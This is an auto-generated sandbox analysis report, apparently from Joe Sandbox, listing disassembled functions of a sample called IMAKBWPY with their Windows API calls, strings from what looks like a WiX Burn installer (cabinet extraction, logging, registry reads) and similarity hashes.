Instruction Fuzzy Hash: C68193B4914209CFDB40DFA8C985A9EBBF0FF49314F018569E894E7360E775AA44CF92

Function 00250A81 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?), ref: 00250B27
GetLastError.KERNEL32(?,?,?), ref: 00250B31

Strings

cabextract.cpp, xrefs: 00250B55
Failed to move file pointer 0x%x bytes., xrefs: 00250B62
Invalid seek type., xrefs: 00250ABD

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: Failed to move file pointer 0x%x bytes.$Invalid seek type.$cabextract.cpp
API String ID: 2976181284-417918914
Opcode ID: 2742c36fd6408c5e5dd749d0b1f16869710c75b73aa96bd3be638c77a5ee832a
Instruction ID: 2bab1d9e9af03cf4f9ebad65eae70d0837a1e032b86a66fbe1fb5dea3667905a
Opcode Fuzzy Hash: 2742c36fd6408c5e5dd749d0b1f16869710c75b73aa96bd3be638c77a5ee832a
Instruction Fuzzy Hash: CB31C036A6021AEFCB10DFA8DCC5E6EB769FF04729B048125FD1497251D770ED248B94

Function 00234115 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,840F01E8,00000000,00000000,?,0024A0E8,00000000,00000000,?,00000000,002353BD,00000000,?,?,0023D5B5,?), ref: 00234123
GetLastError.KERNEL32(?,0024A0E8,00000000,00000000,?,00000000,002353BD,00000000,?,?,0023D5B5,?,00000000,00000000), ref: 00234131
CreateDirectoryW.KERNEL32(?,840F01E8,00235489,?,0024A0E8,00000000,00000000,?,00000000,002353BD,00000000,?,?,0023D5B5,?,00000000), ref: 0023419A
GetLastError.KERNEL32(?,0024A0E8,00000000,00000000,?,00000000,002353BD,00000000,?,?,0023D5B5,?,00000000,00000000), ref: 002341A4

Strings

dirutil.cpp, xrefs: 002341D4

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: dirutil.cpp
API String ID: 1375471231-2193988115
Opcode ID: bfc321e43094f06a6183d2a827df28f8d1954154ce8b4d2ac0f84ea5b8953194
Instruction ID: fa0dc69bddde4596787ccfdb741bfadaf69a923c627fc87f4b250c4c24f61c79
Opcode Fuzzy Hash: bfc321e43094f06a6183d2a827df28f8d1954154ce8b4d2ac0f84ea5b8953194
Instruction Fuzzy Hash: B11135A2630B3296D7313FA15C44B3BA654EF32B61F0000A2FD8CEB200E360ADF09290

Function 00270764 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63filestringCOMMONLIBRARYCODE

Download Yara Rule

APIs

lstrlenA.KERNEL32(;$,00000000,00000000,?,?,?,00270013,0024E93B,0024E93B,?,00000000,0000FDE9,?,0024E93B,8000FFFF,Unexpected return value from message pump.), ref: 00270776
WriteFile.KERNELBASE(00000200,00000000,00000000,?,00000000,?,?,00270013,0024E93B,0024E93B,?,00000000,0000FDE9,?,0024E93B,8000FFFF), ref: 002707B2
GetLastError.KERNEL32(?,?,00270013,0024E93B,0024E93B,?,00000000,0000FDE9,?,0024E93B,8000FFFF,Unexpected return value from message pump.), ref: 002707BC

Strings

logutil.cpp, xrefs: 002707ED
;$, xrefs: 00270769, 002707D8, 00270775, 0027078B, 002707AC, 002707B0

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastWritelstrlen
String ID: ;$$logutil.cpp
API String ID: 606256338-923696308
Opcode ID: 46b87da7898f01e74ca2977e6496b72ec8458334307923ce2b0a1a59d06ec45f
Instruction ID: 89529f42aace3339f6f70b0d53b75f865ec6af2bdd9819850be2baf5c11f4dbc
Opcode Fuzzy Hash: 46b87da7898f01e74ca2977e6496b72ec8458334307923ce2b0a1a59d06ec45f
Instruction Fuzzy Hash: 2511CA72960225EB8715CAAA9DC9EAFFB6CEB45760F414225FD08EB140D770BD10C9E0

Function 00243AA6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00270F6C: RegOpenKeyExW.KERNELBASE ref: 00270F80

RegCloseKey.ADVAPI32(00000000), ref: 00243B42

Part of subcall function 002710B5: RegQueryValueExW.ADVAPI32 ref: 0027112B
Part of subcall function 002710B5: RegQueryValueExW.ADVAPI32 ref: 00271163

Strings

SOFTWARE\Policies\Microsoft\Windows\Installer, xrefs: 00243AB7
feclient.dll, xrefs: 00243AAB
Logging, xrefs: 00243AD4

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Logging$SOFTWARE\Policies\Microsoft\Windows\Installer$feclient.dll
API String ID: 1586453840-3596319545
Opcode ID: 84332d2730080524df70c8f4475c9480132393897159caf7a7dd73cda2fa592f
Instruction ID: c65218946fb542a002840063b95f53547084e0c521c547d61eb026f92fc89526
Opcode Fuzzy Hash: 84332d2730080524df70c8f4475c9480132393897159caf7a7dd73cda2fa592f
Instruction Fuzzy Hash: B911E636B60209BBDB26DF94DC86FAAB7B8FB10B54F404061E5009B080D6B19FA0D710

Function 002509EA Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0025140C: SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000000,?,00250A19,?,?,?), ref: 00251434
Part of subcall function 0025140C: GetLastError.KERNEL32(?,00250A19,?,?,?), ref: 0025143E

ReadFile.KERNELBASE(?,?,?,?,00000000,?,?,?), ref: 00250A27
GetLastError.KERNEL32 ref: 00250A31

Strings

cabextract.cpp, xrefs: 00250A55
Failed to read during cabinet extraction., xrefs: 00250A5F

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLast$PointerRead
String ID: Failed to read during cabinet extraction.$cabextract.cpp
API String ID: 2170121939-2426083571
Opcode ID: 43201bb034379edc6b5f6aa37ba0ff9200200d4e1b341135547dab564100e6b6
Instruction ID: a2aa5f3d632db1d1f0513fc7958cf3f629801b501ff39775423f3338da3e70b9
Opcode Fuzzy Hash: 43201bb034379edc6b5f6aa37ba0ff9200200d4e1b341135547dab564100e6b6
Instruction Fuzzy Hash: 2E11CE36A21229BBDB21AF95DC48E9A7B68FB05761B014115FE08A7291C730A920CBD4

Function 0025140C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000000,?,00250A19,?,?,?), ref: 00251434
GetLastError.KERNEL32(?,00250A19,?,?,?), ref: 0025143E

Strings

Failed to move to virtual file pointer., xrefs: 0025146C
cabextract.cpp, xrefs: 00251462

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: Failed to move to virtual file pointer.$cabextract.cpp
API String ID: 2976181284-3005670968
Opcode ID: a849e221f81f9ac780d16d63c90388fcf0791db16c9929c236cbbeac076c07b8
Instruction ID: 129f9be03eeb918cf2d42fbba0df54ce69f9c8e630886230c2159d932d82c1aa
Opcode Fuzzy Hash: a849e221f81f9ac780d16d63c90388fcf0791db16c9929c236cbbeac076c07b8
Instruction Fuzzy Hash: 1E018F37961636B7D7215A969C08F8BBB24EF017727128126FD18AA151DB319C30CAD8

Function 002507B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(0027B478,00000000,?,00251717,?,00000000,?,0023C287,?,00235405,?,002475A5,?,?,00235405,?), ref: 002507BF
GetLastError.KERNEL32(?,00251717,?,00000000,?,0023C287,?,00235405,?,002475A5,?,?,00235405,?,00235445,00000001), ref: 002507C9

Strings

Failed to set begin operation event., xrefs: 002507F7
cabextract.cpp, xrefs: 002507ED

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorEventLast
String ID: Failed to set begin operation event.$cabextract.cpp
API String ID: 3848097054-4159625223
Opcode ID: 2eff1115c245cd7f39ccdcb5f128fd5ea4bde8463382b1e6d951b81cf62aa4a6
Instruction ID: bb163dc71eab747240ba339d4c74e4570859e000c5523763e918cd18074d0328
Opcode Fuzzy Hash: 2eff1115c245cd7f39ccdcb5f128fd5ea4bde8463382b1e6d951b81cf62aa4a6
Instruction Fuzzy Hash: 29F05C3757323167922166A55D4DF8FB6849F05B72B020121FE05FB140EB30AC30C6D9

Function 00235123 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(burn.clean.room,?,?,?,?,00231104,?,?,00000000), ref: 00235142
CompareStringW.KERNELBASE(0000007F,00000001,?,0000000F,burn.clean.room,0000000F,?,?,?,?,00231104,?,?,00000000), ref: 00235172

Strings

burn.clean.room, xrefs: 0023512F, 0023513C, 00235169

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CompareStringlstrlen
String ID: burn.clean.room
API String ID: 1433953587-3055529264
Opcode ID: 69a256e4dda9b4701090ca2290acf6f0b64453a0046e4fcb57a44654dfe4fcff
Instruction ID: 398cccab5fef7da22a6096636e2f5e349ee6bbc92ffb84aaa404338d9d44adb1
Opcode Fuzzy Hash: 69a256e4dda9b4701090ca2290acf6f0b64453a0046e4fcb57a44654dfe4fcff
Instruction Fuzzy Hash: 65016DB26206356F87308F49AD88A77BBBCEB157A0F104116F94DC3610D3749C61CAE1

Function 00233838 Relevance: 4.6, APIs: 3, Instructions: 80libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00233877
GetLastError.KERNEL32 ref: 00233881
LoadLibraryW.KERNELBASE(?,?,00000104,?), ref: 002338EA

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: DirectoryErrorLastLibraryLoadSystem
String ID:
API String ID: 1230559179-0
Opcode ID: 2cc6ef25daef936c63723023bce91b96129ce0372f3596462685fb5dce1e732c
Instruction ID: 25cf89277aa4ebb4da3ae8138adbf6276881d24b16c59ec15411062331f31d6d
Opcode Fuzzy Hash: 2cc6ef25daef936c63723023bce91b96129ce0372f3596462685fb5dce1e732c
Instruction Fuzzy Hash: E421D3F2D1123DABDB20DB659C49F9AB7A89B00710F1101A1FE18EB241EA70DF548BD0

Function 00233A16 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00233BB6,00000000,?,00231474,00000000,75C0B390,00000000,75C0B390,00000000,?,?,002313B8), ref: 00233A20
RtlFreeHeap.NTDLL(00000000,?,00233BB6,00000000,?,00231474,00000000,75C0B390,00000000,75C0B390,00000000,?,?,002313B8,?,00000100), ref: 00233A27
GetLastError.KERNEL32(?,00233BB6,00000000,?,00231474,00000000,75C0B390,00000000,75C0B390,00000000,?,?,002313B8,?,00000100,?), ref: 00233A31

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Heap$ErrorFreeLastProcess
String ID:
API String ID: 406640338-0
Opcode ID: cb6b299e435abe7a36417e294a6fe698310d9f67cf8e40740b280bd2db4a36f5
Instruction ID: 7a20b42eff470c0f7d508b9c72a91a254daddfeefb672f8102b4e37da930d088
Opcode Fuzzy Hash: cb6b299e435abe7a36417e294a6fe698310d9f67cf8e40740b280bd2db4a36f5
Instruction Fuzzy Hash: 86D01273A0413A5787225BE66C5CA5B7F58EF05AB1B410121FD4CD6220D725CD5096E4

Function 0023F755 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00270F6C: RegOpenKeyExW.KERNELBASE ref: 00270F80

RegCloseKey.ADVAPI32(00000000), ref: 0023F7B9

Part of subcall function 00271026: RegQueryValueExW.ADVAPI32 ref: 0027104B

Strings

Installed, xrefs: 0023F781

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Installed
API String ID: 3677997916-3662710971
Opcode ID: e2a2c516b19f7844d046e7898da731791c3fdf7692c1864772159d2b3221ddbb
Instruction ID: 7a2fc6c0ef8e62c21fd22203ffe6e2758aba7faadfc1346c733953b68a17c925
Opcode Fuzzy Hash: e2a2c516b19f7844d046e7898da731791c3fdf7692c1864772159d2b3221ddbb
Instruction Fuzzy Hash: 69018F76830218EBCB51DB94DD46BDEBBB8EF04711F1141A4E800A7120D7755E609B90

Function 00270F6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE ref: 00270F80

Strings

regutil.cpp, xrefs: 00270FC3

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Open
String ID: regutil.cpp
API String ID: 71445658-955085611
Opcode ID: f96173c6d07dfdd83e6b0d40f428dd642922f279fe9a824d5eb8444055ccb122
Instruction ID: 6a6d2032872e1a04102dd6513c02e2c07f45ae739acb1eff20bebde9bb0067d9
Opcode Fuzzy Hash: f96173c6d07dfdd83e6b0d40f428dd642922f279fe9a824d5eb8444055ccb122
Instruction Fuzzy Hash: 16F04673631132E69B3009668C45B6BAA49DB817B0F15C122FD4E9A650EA708C3096F2

Function 1003D19C Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,1003A8F5,00000001), ref: 1003D1AD

Part of subcall function 1003D054: GetVersionExA.KERNEL32 ref: 1003D073

HeapDestroy.KERNEL32 ref: 1003D1EC

Part of subcall function 1003D628: HeapAlloc.KERNEL32(00000000,00000140,1003D1D5,000003F8), ref: 1003D635

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 8242cd12b3c48fb9aa1d6b5f83fa064202d2bfdfad0f30c1d68451e9dde9e146
Instruction ID: 52e3ab181272d3760f74004b90cdb2a6ff6abea490e9912c8058f7bf90643b1f
Opcode Fuzzy Hash: 8242cd12b3c48fb9aa1d6b5f83fa064202d2bfdfad0f30c1d68451e9dde9e146
Instruction Fuzzy Hash: 92F06530A54352AFFB16EB30BD4675936DDE701B83F100627F904DC0A0EBA585C0D511

Function 00233AF0 Relevance: 3.0, APIs: 2, Instructions: 14memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,0023226D,?,?,00000001,75C0B390,8000FFFF,?,?,00270267,?,?,00000000), ref: 00233B04
RtlReAllocateHeap.NTDLL(00000000,?,0023226D,?,?,00000001,75C0B390,8000FFFF,?,?,00270267,?,?,00000000,00000000,8000FFFF), ref: 00233B0B

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: ed2511d4e69c1abe9110b95b40aea9624a894a002a70ad11134b66bb5f12e2c1
Instruction ID: aeac66674c6d57991762b8a7cb25d20adb4930552fe17987725235093896f654
Opcode Fuzzy Hash: ed2511d4e69c1abe9110b95b40aea9624a894a002a70ad11134b66bb5f12e2c1
Instruction Fuzzy Hash: BBD0C93215420DAB8F015FE8EC0DEAA3BACEB586027448415B919C2120CB39E4609A60

Function 0023394F Relevance: 3.0, APIs: 2, Instructions: 13memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,00232274,?,00000001,75C0B390,8000FFFF,?,?,00270267,?,?,00000000,00000000,8000FFFF), ref: 00233960
RtlAllocateHeap.NTDLL(00000000,?,00232274,?,00000001,75C0B390,8000FFFF,?,?,00270267,?,?,00000000,00000000,8000FFFF), ref: 00233967

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 39c28364ee83e02bece6c314910af51b0475100b5d69aa2ba213a02eefea6dd4
Instruction ID: 05766015fa0486bc7dfbf2630b5f9a81907513463419770f3eb8495cb2f62917
Opcode Fuzzy Hash: 39c28364ee83e02bece6c314910af51b0475100b5d69aa2ba213a02eefea6dd4
Instruction Fuzzy Hash: B7C012321A420CAB8B016FF8EC0ED9A3BACBB286027448400B90DC2120DB38E0908B60

Function 002735C3 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 002735F8

Part of subcall function 0027304F: GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000,00273609,00000000,?,00000000), ref: 00273069
Part of subcall function 0027304F: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,0025C025,?,00235405,?,00000000,?), ref: 00273075

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorHandleInitLastModuleVariant
String ID:
API String ID: 52713655-0
Opcode ID: ef04136cd6489760c7aab7649973eae00996212e211b610d765a41a5b548c5b3
Instruction ID: f2de5a2ab6c8d046d49b9de40c68e6517f639086a2fd3963ec5b60bba9ed552e
Opcode Fuzzy Hash: ef04136cd6489760c7aab7649973eae00996212e211b610d765a41a5b548c5b3
Instruction Fuzzy Hash: E6315076D10229AFDB11DFA8C884ADEB7F8EF08710F01856AED05BB311D6359D108BA4

Function 1003AC4D Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 1003AD34

Part of subcall function 1003D4C2: InitializeCriticalSection.KERNEL32(00000000,?,00000010,?,1003ACE6,00000009), ref: 1003D4FF
Part of subcall function 1003D4C2: EnterCriticalSection.KERNEL32(00000010,00000010,?,1003ACE6,00000009), ref: 1003D51A

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 5cf221eabea632289d6e133d3815a50a268c7bba50151b71f96da381b0319956
Instruction ID: fb667e068bbf76fc7263683791686bc64be05de829e3cef74f706eb2aae4af69
Opcode Fuzzy Hash: 5cf221eabea632289d6e133d3815a50a268c7bba50151b71f96da381b0319956
Instruction Fuzzy Hash: 4D21C431E00255AFDB12DB68DC42BCD77B4EB02766F218616F421EF5D1C7B4A9C08AA4

Function 00275870 Relevance: 1.6, APIs: 1, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(80070490), ref: 002758CA

Part of subcall function 002710B5: RegQueryValueExW.ADVAPI32 ref: 0027112B
Part of subcall function 002710B5: RegQueryValueExW.ADVAPI32 ref: 00271163

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

